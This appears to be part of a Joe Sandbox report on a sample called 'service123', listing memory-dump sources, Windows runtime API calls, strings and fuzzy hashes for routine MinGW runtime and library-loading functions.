Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 9b5b5d6a3661eaada0bafa427af85f967122f4b8679f4d038531da052745165d
Instruction ID: ee27b58ec95ba03fda8b4a515e9529a75e6d4e6aa363608a5c311c2324b930c9
Opcode Fuzzy Hash: 9b5b5d6a3661eaada0bafa427af85f967122f4b8679f4d038531da052745165d
Instruction Fuzzy Hash: 9B5137B06093418FCB20DF29C78C61AB7F1BF86348F15857DD998A7610EB31E949CB92

Function 00481940 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0048196F
vfprintf.MSVCRT ref: 0048198F
abort.MSVCRT ref: 00481994
VirtualQuery.KERNEL32 ref: 00481A2B

Strings

VirtualProtect failed with code 0x%x, xrefs: 00481AA6
VirtualQuery failed for %d bytes at address %p, xrefs: 00481AD7
Mingw-w64 runtime failure:, xrefs: 00481968
Address %p has no image-section, xrefs: 00481AEB

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: e4de758e7a0c67157d94d2f572a26cd961e6f11231d9bceb8fa9fb9fb7a800d8
Instruction ID: 4fed0f3df73ffc7c32223acfdbf2bb1d272c510a877c98aea5fb14c7e2c2e734
Opcode Fuzzy Hash: e4de758e7a0c67157d94d2f572a26cd961e6f11231d9bceb8fa9fb9fb7a800d8
Instruction Fuzzy Hash: 0F5169B19053008FC710EF69D88465EBBE4BF85358F558D2EE4898B361D738A8468B9A

Function 6C7AA690 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C7AA6BF
vfprintf.MSVCRT ref: 6C7AA6DF
abort.MSVCRT ref: 6C7AA6E4
VirtualQuery.KERNEL32 ref: 6C7AA77B

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 6C7AA827
Mingw-w64 runtime failure:, xrefs: 6C7AA6B8
Address %p has no image-section, xrefs: 6C7AA83B
VirtualProtect failed with code 0x%x, xrefs: 6C7AA7F6

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: cc3f98c29d31f9b689d02f6720c3fdc1649c8b3132e72df0349bc7a9460aba4a
Instruction ID: a7b4c2e09e3c99141a8da483eeb5b98cef0ab7969034f24c3af3bf7378a96d37
Opcode Fuzzy Hash: cc3f98c29d31f9b689d02f6720c3fdc1649c8b3132e72df0349bc7a9460aba4a
Instruction Fuzzy Hash: E6515CB19053009FC750DF69C68965ABBF0FF85328F558A2CE89897750E730E94ACF92

Function 6C7AE0A0 Relevance: 16.6, APIs: 11, Instructions: 98COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: efd6d1aa8f7c844900366810e7d4c2626413ae07f2c6d39cf97fb6c2f14196f9
Instruction ID: 06733e50de962afc3207852b173a43c8fd0b1fe33adacaade611d2b386cf8596
Opcode Fuzzy Hash: efd6d1aa8f7c844900366810e7d4c2626413ae07f2c6d39cf97fb6c2f14196f9
Instruction Fuzzy Hash: 482123323492188BC704CF98D8D169777A6EBC232872882BEE4488BB55D637A817D790

Function 6C7AE570 Relevance: 15.1, APIs: 10, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction ID: e6ebd046e64a93031e3a05e4e1bc71c67c36fb628b601377940a9da93968b313
Opcode Fuzzy Hash: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction Fuzzy Hash: E041287050830A8BD310DFA9C25076AB7E1AF81314F544F29E4A487A91E334C96FCBE2

Function 6C7AE59B Relevance: 15.1, APIs: 10, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction ID: 0a7dc2a900f35bc87f4289c6a80395ea97155fcd270489e9797b3c409c5c3134
Opcode Fuzzy Hash: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction Fuzzy Hash: 1B210B7050530A8FD710DEB4C69066AB7E1AF81318F644F29D4B487E95E330D86BC7D2

Function 6C7AE714 Relevance: 15.0, APIs: 10, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction ID: bfdccf6e39eabfdaed16cd886773938c4e8b0858bde21ead4c7bef00cd62f0fe
Opcode Fuzzy Hash: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction Fuzzy Hash: C2E0263008821DCFC720CEA8C769199B7D4AF96308B404E16C4D193D10E330D95BCAC2

Function 6C7B9249 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C7B9260
GetProcAddress.KERNEL32 ref: 6C7B927A
LoadLibraryW.KERNEL32 ref: 6C7B929F
GetProcAddress.KERNEL32 ref: 6C7B92B3

Strings

msvcrt.dll, xrefs: 6C7B9255
SystemFunction036, xrefs: 6C7B92A8
rand_s, xrefs: 6C7B926F
advapi32.dll, xrefs: 6C7B9298

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 96309882b60d9c34ee4ba2e573067bd398c7dfdd247807b3d75b75c6d6ef9bc4
Instruction ID: 61447420e0f57bff35cd01b5ce57dbc7efaf5c27161bc3f59d69bfd59caf5793
Opcode Fuzzy Hash: 96309882b60d9c34ee4ba2e573067bd398c7dfdd247807b3d75b75c6d6ef9bc4
Instruction Fuzzy Hash: BFF044B29452108BCB20BF788A4A14EBFB4BB95324F414D7DD4E597610E234A414CBA7

Function 6C83F8C0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F95D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F988
memmove.MSVCRT ref: 6C83F9D7
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83FA0D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83FA58

Strings

basic_string::_M_replace, xrefs: 6C83FBB6

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 498cc8f476bc199cd7128148664f4bb09d618e4646b5787fc1693dbf7c6dd326
Instruction ID: 4d1b657bcdf05e32ef83dd56fe2f97fb2445b4e4da016998ded6631a094ec570
Opcode Fuzzy Hash: 498cc8f476bc199cd7128148664f4bb09d618e4646b5787fc1693dbf7c6dd326
Instruction Fuzzy Hash: 5D8138715093619FC321CF6CC28051EFBE1AFAA248F149CAEE8D997715D232E844CBD2

Function 6C7AFEE0 Relevance: 13.7, APIs: 9, Instructions: 186synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C7B00D2
WaitForSingleObject.KERNEL32 ref: 6C7B0117

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: ef2fa10546d4332223493c3e2b172bf68b5c0be507f65594e6b4451ff1b22c4b
Instruction ID: cd1e426d63c1a55badb37fb869fc84c96b5de0477a7f1a62490021dd4b4ec2cb
Opcode Fuzzy Hash: ef2fa10546d4332223493c3e2b172bf68b5c0be507f65594e6b4451ff1b22c4b
Instruction Fuzzy Hash: C7612A70709349CFDB209FA9C74835A77F4BB4A31CF108639E95897A40E774D54ACBA2

Function 6C7AE760 Relevance: 13.6, APIs: 9, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction ID: c7c35acd50911a561ba1ae045660d580dc23fe505af808bbb4a80fa9a7b3460f
Opcode Fuzzy Hash: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction Fuzzy Hash: 9401E575A0922DCFC700CEA8C690A9BF7E5AB85314F004E29E48587B15D230DCDBC7D2

Function 00482BF0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00482CC1

Strings

o, xrefs: 004830A8
0, xrefs: 0048313E

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction ID: e5d3bb7d8ba168d42d86d3f09e0783153c01376354de0459c1294043eb01a4a5
Opcode Fuzzy Hash: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction Fuzzy Hash: EAF1C571A042098FCB05DF68C58069EFBF2BF89360F19861AD854AB355D378ED45CF98

Function 6C7B32C0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C7B3391

Strings

0, xrefs: 6C7B380E
o, xrefs: 6C7B3778

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction ID: ed39ae68fc163121d289dd51733a1e644f64f47f2f7a545bdd677a0e9e758fc2
Opcode Fuzzy Hash: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction Fuzzy Hash: A1F19071A046098FCB01CF68C6846DDFBF2BF89364F198269D864BB751DB34E985CB90

Function 004814E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 004814F0
LoadLibraryA.KERNEL32 ref: 00481506
GetProcAddress.KERNEL32 ref: 00481525
GetProcAddress.KERNEL32 ref: 00481537

Strings

libgcc_s_dw2-1.dll, xrefs: 004814E9, 004814FF
__deregister_frame_info, xrefs: 0048152C
__register_frame_info, xrefs: 0048151A

Memory Dump Source

Source File: 00000009.00000002.3886110721.0000000000481000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00480000, based on PE: true

Associated: 00000009.00000002.3886072174.0000000000480000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886147841.000000000048A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886183509.000000000048E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3886220642.0000000000491000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_480000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 1b324758e9ad65b290e1dc8d4601c6379e5f28d75b9456de82cdfea8221b81fa
Instruction ID: f121ed0a5d648bc1827a563ef47d44a368db0639f1a1fb7fe7d2a2bab7b55db8
Opcode Fuzzy Hash: 1b324758e9ad65b290e1dc8d4601c6379e5f28d75b9456de82cdfea8221b81fa
Instruction Fuzzy Hash: 000121B18052009BD3007F79A94921E7FF8EB46754F418D3FD58987215E77888158B9F

Function 6C7A13E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6C7A13F0
LoadLibraryA.KERNEL32 ref: 6C7A1406
GetProcAddress.KERNEL32 ref: 6C7A1425
GetProcAddress.KERNEL32 ref: 6C7A1437

Strings

__register_frame_info, xrefs: 6C7A141A
libgcc_s_dw2-1.dll, xrefs: 6C7A13E9, 6C7A13FF
__deregister_frame_info, xrefs: 6C7A142C

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: f429bd08eecc44f00adc49d6b9889ad5e8e32d75b79e8634f2750c48a6619b0b
Instruction ID: b16f38187fc36cf8ec28df9771cd0b444c896e566f0f953c39b8f397e6255823
Opcode Fuzzy Hash: f429bd08eecc44f00adc49d6b9889ad5e8e32d75b79e8634f2750c48a6619b0b
